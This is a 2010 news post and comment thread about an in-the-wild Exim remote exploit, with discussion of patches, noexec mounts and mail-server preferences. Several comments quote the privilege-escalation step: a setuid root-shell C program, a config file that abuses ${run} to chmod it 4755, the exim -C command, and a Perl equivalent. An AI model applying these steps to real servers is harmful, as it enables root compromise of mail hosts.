Remote Exim Exploit In the Wild

An anonymous reader sends word of a remote exploit in the wild against the Exim mail agent. The news comes on the exim mailing list, where a user posted that he had his exim install hacked via remote exploit giving the attacker the privilege of the mailnull user, which can lead to other possible attacks. A note up at the Internet Storm Center reminds exim users how to set up to run in unprivileged mode, and a commenter includes recompile instructions for Debian exim for added safety. The security press hasn't picked up on this story so far.

Comments

News? More like olds.

[Spyware23]

Welcome to a week ago. Oh, and security guys -are- picking up on it. Stop following companies/press and start following persons.

Re:Welcome back, kdawson

[Spyware23]

This isn't FUD. http://www.exim.org/lurker/message/20101209.150448.ee9f5ce6.en.html

Was fixed in 4.70 according to Mailing List

[gQuigs]

http://www.exim.org/lurker/message/20101210.071922.233697ac.en.html

"Paul Fisher and I have successfully run the exploit against a copy of
Exim running in a debugger on debian lenny, and we believe it utilizes
this bug:

http://bugs.exim.org/show_bug.cgi?id=787

It was fixed in 4.70, but not in the version currently in debian
stable.

James E. Blair
UC Berkeley"

Re:Was fixed in 4.70 according to Mailing List

[TheLink]

Hmm a bug reported 2 years ago. But now only exploited in the wild?

Re:Was fixed in 4.70 according to Mailing List

[John Hasler]

It was fixed in 4.70, but not in the version currently in debian stable.

Debian has released a DSA and a fixed version for Stable. See Debian Security Advisory DSA-2131-1 and Debian Security .

Re:Was fixed in 4.70 according to Mailing List

[Rockoon]

Security through obscurity.

Re:Was fixed in 4.70 according to Mailing List

[MobileTatsu-NJG]

Boring target.

Re:Was fixed in 4.70 according to Mailing List

[asdfghjklqwertyuiop]

It wasn't specifically reported as a security bug 2 years ago which is probably why the fix wasn't backported to debian. Someone probably went through the bug reports looking for a potential security bug that wasn't recognized as such and developed an exploit.

Re:Was fixed in 4.70 according to Mailing List

[B'Trey]

Link for the above DSA: http://lists.debian.org/debian-security-announce/2010/msg00181.html

Re:Was fixed in 4.70 according to Mailing List

[jamesh]

Foiled again by documenting bugs in bug reports. When will they ever learn? Security by obscurity is the _only_ way.</troll>

Re:First comment!

[clang_jangle]

It is to the four people who actually succeeded at getting exim to run.

Thank God I use sendmail!

[Anonymous Coward]

Because sendmail has such a long record of resistance to security bugs :)

cPanel

[bsDaemon]

Exim is the MTA that cPanel-enabled servers use, so there is quite a large install base, particularly in the consumer-oriented web hosting space. Except a brief run of ha-ha before the mail spools get moved off to their own partition which is mounted no-exec.

Re:cPanel

[mpol]

According to the changelog in Cpanel it's not fixed for CentOS 5.5. At least it's not in the changelog for exim-4.69-23.1_cpanel_maildir

Re:cPanel

[mpol]

Whoops, apparently there's just an update released today. With a different fix it seems.
http://forums.cpanel.net/f185/case-45290-exim-0-day-178281.html

Re:cPanel

[internewt]

noexec ain't bulletproof:

root@bender:/mnt# mount -o noexec,size=10M,nr_inodes=100 -t tmpfs tmpfs ./tmp/
root@bender:/mnt# cd tmp
root@bender:/mnt/tmp# echo echo blah > test.sh
root@bender:/mnt/tmp# chmod +x test.sh
root@bender:/mnt/tmp# l
total 12K
drwxrwxrwt 2 root root 80 2010-12-10 17:33 ./
drwxr-xr-x 13 root root 4.0K 2009-01-23 04:07 ../
-rwxr-xr-x 1 root root 10 2010-12-10 17:33 test.sh*
root@bender:/mnt/tmp# ./test.sh
-su: ./test.sh: Permission denied
root@bender:/mnt/tmp# sh ./test.sh
blah

And if I have understood this exploit, that extra sh could still be added.

Re:cPanel

[Hatta]

If you have a shell, what's the point of running a shell script? 'sh ./test.sh' doesn't allow you to do anything that you can't do from the shell itself. How would you use that to run arbitrary binaries from a noexec partition?

Re:cPanel

[asdfghjklqwertyuiop]

Except a brief run of ha-ha before the mail spools get moved off to their own partition which is mounted no-exec.

Well I hope they aren't laughing too hard. They forgot /tmp, /var/tmp, /var/run/exim4, /var/log/exim4... and anywhere else the exim user can write to. And of course, none of that wouldn't actually prevent exploitation anyway since they are already able to execute arbitrary commands as root without creating any executable files with 'exim -C' as the exim user and ${run ...}.

Re:cPanel

[bsDaemon]

/tmp should always be mounted noexec anyway, though. Bestt to apply any necessary patches. Meanwhile, most IDS/IPS systems should catch this... its not like the payload is exactly covert or anything.

Re:cPanel

[asdfghjklqwertyuiop]

It might be covert if you support starttls. I agree, best to apply the patches...

Re:cPanel

[bsDaemon]

If you're running the mail server, you have the tls/ssl keys, which means you can decrypt the packets before inspecting them. However, your typical mail server isn't going to bother doing that and the people who know how likely have fixed the issue or don't use exim anyway.

Re:cPanel

[internewt]

sh ./test.sh' doesn't allow you to do anything that you can't do from the shell itself

As far as I can tell, and know, that above does allow a program to be run that is otherwise on a noexec partition. bsDaemon suggested that putting the mail spool on a noexec partition would stop this attack, but I don't think it will. I do know that I know enough to get by on Linux, but I also know I do not understand all the ins and outs of the system, so am perfectly willing to accept I am wrong about noexec partitions. I just don't think I am....

Part of TFA:

after that attacker gets shell with id of user Debian-exim and cwd
in /var/spool/exim4
then it put file there file setuid with trivial execution of root shell:
int main(int argc, char *argv[])
{
setuid(0);
setgid(0);
setgroups(0, NULL);
execl("/bin/sh", "sh", NULL);
}

and create another file e.conf with following content:
spool_directory = ${run{/bin/chown
root:root /var/spool/exim4/setuid}}${run{/bin/chmod 4755 /var/spool/exim4/setuid}}

the he runs:
exim -Ce.conf -q

and gets suid bit on /var/spool/exim4/setuid
everything else is trivial.

So the file setuid is set to be executable as root via exim's feature of being able to run commands from its config file. At least, I think that is what is going on. As exim will need to open port 25 I guess the program sits on disk with the suid bit set, and once port 25 is opened it drops privileges to debian-exim. But it appears exim will also execute commands from a user specified config file, and it must be doing so before it drops its privs.

I happen to have a debian virtual machine here:
lintorrent:~# ls -l `which exim4`
-rwsr-xr-x 1 root root 695968 2008-09-30 19:27 /usr/sbin/exim4

Exim is on disk with a suid of root.

From the exim manpage:

-C <filelist>

This option causes Exim to find the run time configuration file from the given list instead of from the list specified by the CONFIGURE_FILE compile-time setting.[snip]

When this option is used by a caller other than root or the Exim user, and the list is different from the compiled-in list, Exim gives up its root privilege immediately, and runs with the real and effective uid and gid set to those of the caller.

Ahhh, because the initial exploit gives the attacker a shell as debian-exim, exim won't give up root as quick as if exim -CDodgyConfigFile is run as any other local user (apart from root). The person publicising the attack is keeping some details with himself and the exim devs, so I don't know exactly how that initial shell that is mentioned is presented. Does the attacker telnet into the server, start talking in SMTP, then just gets a shell responding after sending right secret phrase?

The final piece of the attack, going to root, summed up by "and gets suid bit on /var/spool/exim4/setuid \
everything else is trivial" could have the extra sh dropped in just in front of /var/spool/exim4/setuid. I do know that most Linux distros will ignore an suid of root on a shell script, but what is written to the mail spool isn't a shell script. It looks like C (I'm no programmer), and I didn't know you could execute uncompiled code like that... and trying it here I can't get it to work. Though I think the really important bit is that Exim will execute as root commands in a config file if exim is run as root or as the exim user (debian-exim in this case).

Re:cPanel

[dissy]

You can run sh because it is in /bin/sh which is not noexec.

You have no way to run it setuid however because the program you have above will live in /var/spool/exim4 which is noexec.

If you run it directly, it will fail. If you run it with an sh in front, you invoke /bin.sh normally (not setuid) and you only spawn another shell as the exim user, same as you already had in the first place.

Re:cPanel

[asdfghjklqwertyuiop]

Does any IDS or IPS actually do that?

Re:cPanel

[internewt]

d'oh! Shit, missed that :)

But you can still commit data into /var/spool/exim4 in the form of an exim config file, and exim will run commands in that config file as root if exim is launched by root or debian-exim. Which is the case here.... isn't it?

If you can run any command on a remote system as root, then surely instead of simply elevating the privilege of an existing session, you do something else to 0wn the box? The root commands put in that config file could make a new user, give that new user root privileges, and allow them to ssh in. Probably much more easily noticed, but is still remote root.

Re:cPanel

[bsDaemon]

Sourcefire makes a box that does it, as do some other companies.

Re:cPanel

[asdfghjklqwertyuiop]

Sounds like some pretty neat duct tape.

Re:cPanel

[psmears]

As it happens, you're right, noexec won't help here

The reason this works is that exim runs initially as root. Though it drops its privileges early on, it retains (at least in some circumstances) the ability to switch back to root—this allows it, for example, to switch to another user when delivering their mail.

When the attacker uses their exploit, it ends up spawning a process that has this same capability of switching back to root, and the C program basically just does exactly this, then runs a (now root) shell. (I'm assuming the program also needed to be compiled, but if the attacker can write arbitrary files and run shell commands as non-root, that won't pose too much trouble.)

The reason the noexec mount option doesn't help is that, as you've pointed out, script interpreters (such as "sh") don't respect executable permissions when invoked directly. This doesn't matter so much with "sh" specifically, as it doesn't give you any way to switch user ids, but the following perl script is a good enough translation of the above C program:

$> = 0;
$) = 0;
exec "/bin/sh";

The noexec mount option does help prevent some types of attack, by preventing execution of files the attacker manages to control, but in this case it's not enough because the attacker already has enough access to escalate privilege it in other ways...

Re:cPanel

[dissy]

Yea, if exim will run commands out of its config, and exim is running as root but hasn't dropped root privs (Not being an exim user, I don't know exactly how it behaves) then you can own the machine.

One can just copy /bin/sh to somewhere slightly hidden and change that to suid.
Then from a normal shell (Even the exim user) you can elevate up.

Most programs of this sort require root only to bind to ports below 1024, and then can drop those privileges afterward. It really just depends at what point those commands in the config file get run.

Re:cPanel

[udippel]

As it happens, you're right, noexec won't help here

The reason this works is that exim runs initially as root. Though it drops its privileges early on, it retains (at least in some circumstances) the ability to switch back to root—this allows it, for example, to switch to another user when delivering their mail.

Then we should consider postfix as superior. Because for security, we don't want any input ever to be touched by privileged code. Postfix spawns a mail delivery that runs with the privileges of the recipient.
If, as you describe it, the users are switched around, that's surely less safe. Instead, for the delivery to another user, one better kills off the first delivery process, and spawns a new one, running as the user of the second mailbox, and so forth. Because one never knows what shit one has on one's hands when elevating privileges.

Re:cPanel

[psmears]

Then we should consider postfix as superior. Because for security, we don't want any input ever to be touched by privileged code. Postfix spawns a mail delivery that runs with the privileges of the recipient.

I'm sorry, but that doesn't follow.

Both Exim and Postfix Exim spawns a delivery processes that run with the privileges of the recipient. And the delivery process then dies in both cases.

The issue is that, in order to spawn a process as another user (i.e. the recipient), you must be running with root privileges first or else you can't switch users. Therefore both Postfix and Exim have a stage where they effectively have root privileges, and that stage is the stage that got hacked in this instance.

It's not possible to remove that root stage, and that stage must have at least some contact with user data, because otherwise it can't know which user to switch to—though to a great extent you can mitigate the risk by spawning an unprivileged process to dig through the mail data to find the recipient, then report that data back to the parent. As far as I understand the issue here (though I haven't looked at it in detail) was that one of the stages leaked data to another stage, which happened to be vulnerable to a buffer overflow.

Possibly the design of Postfix may make that sort of leak more or less likely, but there's no reason in principle why it couldn't happen their either :-(

Re:cPanel

[udippel]

Fine, thanks, learned something here. I was actually talking out of some cuff w.r.t. exim. The term in question was 'switching user'. As you describe it now, exim doesn't 'switch' user 'back' neither. So I withdraw whatever I wrote and state the opposite.

I would hope that recipient extraction from the envelope is done by an unprivileged process, though, and only a valid recipient reported back for spawning the delivery-to-mailbox process.

Debian patched it today

[domatic]

Debian released patches this morning for it.

exim4 (4.69-9+lenny1) stable-security; urgency=high

    * Non-maintainer upload by the Security Team.
    * Fix SMTP file descriptors being leaked to processes invoked with ${run...}
    * Fix memory corruption issue in string_format(). CVE-2010-4344
    * Fix potential memory pool corruption issue in internal_lsearch_find().

  -- Stefan Fritsch Fri, 10 Dec 2010 13:25:07 +0100

Already fixed

[gsaraber]

I just went digging through my exim install. I have exim-4.72-r1 on Gentoo and it has the fix in it.
it's actually an old bug, the patch is for 4.69 and is from ~2008

Re:Already fixed

[arth1]

Yep, gentoo has 4.72, and Fedora 14 has 4.71 -- neither has this incredibly old vulnerability.

RHEL 5.5 (and CentOS, ScientificLinux and other clones), on the other hand, has an old vulnerable version.

Re:First comment!

[John Hasler]

More than four people use Debian, where Exim is standard and works out of the box.

it's an MTA not a client

[OrangeTide]

fourth post: "Exim is the MTA..."

if you don't know what an MTA is, sendmail, qmail and postfix are other examples.

Re:First comment!

[Monkeedude1212]

Yeah but the people who use Debian know they've got it rough enough and don't need to rub it in using Exim.

Re:First comment!

[Anonymous Coward]

I use debian. About the first thing I did was disable exim. Why the fuck is it included by default? #fail.

Re:Exim - POP3/IMAP client for Linux?

[FooAtWFU]

It wouldn't have killed them to just tell me what it is. I can only assume.

I'd ask you to hand in your geek card, but it appears that you were never issued one to begin with.

Re:There IS some idiocy in FOSS at times ...

[Raenex]

Stop whining about your karma, and learn to format paragraphs.

Re:First comment!

[Profane MuthaFucka]

I use Exim. I have great clanking balls.

Wow ... "Electric Fence spotted this problem"

[Kaz Kylheku]

Welcome to the early 1990's of memory debugging.

That string_format problem is incredibly shameful this day and age, too.

You know what? I think I'm going to run my exim4 installation under Valgrind, set to terminate at the first memory error.

(Will I still get any e-mail?)

Re:Wow ... "Electric Fence spotted this problem"

[Kaz Kylheku]

... and I'm chugging along. Bad program, off to the synthetic CPU with you.

webserver:~# ps aux | grep exim
101 25977 0.0 0.6 157564 27388 ? Ss 09:58 0:00 /usr/bin/valgrind.bin -q /usr/sbin/exim4-nosuid -bd -q30m
root 32215 0.0 0.0 5160 776 pts/1 R+ 21:54 0:00 grep exim

I need a patch for Valgrind to bail on the first error.

Exim hate

[Curunir_wolf]

I don't really get all the hate for Exim. I've been using it exclusively on mail servers for about 10 years, and I've never had a problem. I do remember going through a lot of reading and learning (and sometimes experimenting) the first few times I set it up (and of course when implementing a major feature change). But, for me, the task was less daunting than the alternatives. I don't really remember whether postfix was one of those alternatives I explored at the time, but now that I'm familiar with Exim, I see no reason to change.

Re:Exim hate

[smclean]

I agree.. I've used exim a lot on quite a few servers, with some advanced features, and it's been great. I've also done a lot of sendmail, qmail (back in the day) & postfix. Call me crazy but I don't really have a strong preference between sendmail, exim and postfix (qmail is just too dated now).

Re:Exim hate

[lanner]

I was not aware that there was EXIM haters. It's a good mailer. I doubt anyone who was ever forced to configure sendmail will say otherwise.

Re:Exim hate

[h4rr4r]

Indeed. Due to support from another mail product we run we had to go from postfix to sendmail. A sad day in my life. Sendmail is not bad, just when you need a script to write config files your config files are too complicated. Looking at you GRUB2, when I say that.

Re:Exim hate

[caseih]

Sendmail has one redeeming feature: milters. Postfix is only now starting to support sendmail-compatible milter filters. The ability to filter and discard spam at the connection level is, my opinion, better and cleaner than hackish solutions like amavisd.

Re:Exim hate

[Anonymous Showered]

I've been running Exim on two servers for the past 5 years now. Never had a problem either.

Re:Exim hate

[tiagosousa]

Sendmail has one redeeming feature: milters.

Another very cool feature is throttling by cpu load (envious postfix user here).

Re:First comment!

[Anonymous Coward]

[0]

1. Try it

2. It works.

3. Profit???

Re:There IS some idiocy in FOSS at times ...

[asdfghjklqwertyuiop]

Impossible to configure? No, not really, even in v3. It is actually pretty nice to use if you have a complicated configuration.

Re:There IS some idiocy in FOSS at times ...

[icebraining]

Who cares about the default? This isn't a desktop clock, it's a mail server - you're supposed to search and read about at least the most well known alternatives.

Re:Exim - POP3/IMAP client for Linux?

[olivier69]

Huh? Don't you mean POP3/IMAP server? Because the client is called a "Mail User Agent".

But a POP3/IMAP server is rather an MDA. An SMTP server is an MTA.

Re:Exim - POP3/IMAP client for Linux?

[clone52431]

note the word 'MTA' and/or use google

Give me a break, I actually checked the first cited article (of the 3) and googled “mail agent” before I gave up and just asked.

Re:Exim - POP3/IMAP client for Linux?

[bem]

POP3 and IMAP servers are not MDA's.

They don't "deliver" anything, and that is what the D in MDA is for.

Procmail, mail.local, deliver, etc are MDA's.

Re:There IS some idiocy in FOSS at times ...

[headLITE]

Heh. I never thought exim was hard to configure. Some things are a lot easier in exim 4 than in postfix. On the other hand, I used to edit sendmail.cf without m4 back in the day and didn't think of that as particularly hard either.

Milters?

[dwmw2]

Whereas Exim doesn't *need* milters because it's sufficiently capable all by itself.

I once had a Postfix advocate look over my Exim config to see if he make Postfix do what Exim can do. He gave up.

Re:Milters?

[Curunir_wolf]

Exim can also easily hook into spamassassin, which can also filter spam at the connection level.

Re:First comment!

[jgrahn]

Cron job outputs, for one.

Yeah; a real Unix system has a mail daemon; too many things break if it doesn't. Although *if* I use exim, I let the Debian installer configure it for local mail delivery only. For mail servers which actually have to speak SMTP, I choose postfix (which is one well-supported alternative in Debian).

Sure glad all my servers run Sendmail

[dskoll]

Bet you never thought you'd read that in response to a security announcement. :)

Re:There IS some idiocy in FOSS at times ...

[fusiongyro]

m4 is no more a compiler than sed is. It's just a text macro expander, and it's not particularly complex. It takes about ten minutes to learn how it works, and if you're trying to configure sendmail or use autoconf, you owe it to yourself to spend the ten minutes.

The problem with sendmail is sendmail, not m4. It certainly needs too much configuration and its configuration is certainly too finicky, but that's a separate problem.

Re:There IS some idiocy in FOSS at times ...

[julesh]

Whatever, relevant is, that exim has always been a dog, almost impossible to configure, and finally with 4.0 changed the style of its configuration.

I'll admit to not having used exim pre v4, but when I switched to it some years back I found it quite easy to configure, and yet with a powerful enough configuration system that I could do what I needed to do (set up domain/user tables to come from an existing database) without any real hassle.

Dunno what people complain about, really. Perhaps they're too scared to read the manual?

"Exim haters" is pure fiction

[Morgaine]

The parent conjured up "Exim haters" out of thin air, but it's really a fiction. There is nothing that warrants such a label.

Sure, we all have our own preferences for MTAs, and we even complain occasionally about particular features or unhelpful config styles, but that's the same for all applications. Sendmail's config is of course a joke, but that's an old MTA and shouldn't be compared with any of the modern ones like Exim, qmail, Postfix, etc.

All MTAs have their proponents, but "MTA haters" really don't exist as a sizeable group for any modern FOSS MTA, beyond a few colorful characters who claim that only their own code is any good.

Re:There IS some idiocy in FOSS at times ...

[amorsen]

The only problem with exim configuration is that they're trying very hard to pretend that the acl part isn't programming. Traditional if then else would be a lot easier to read by everyone who can handle shell scripting, and if you can't handle shell scripting you aren't likely to handle an obscure language with side-effects based on boolean short-circuit evaluation.

You can get very far without touching the acl's, but those are what makes exim more capable than most other MTA's.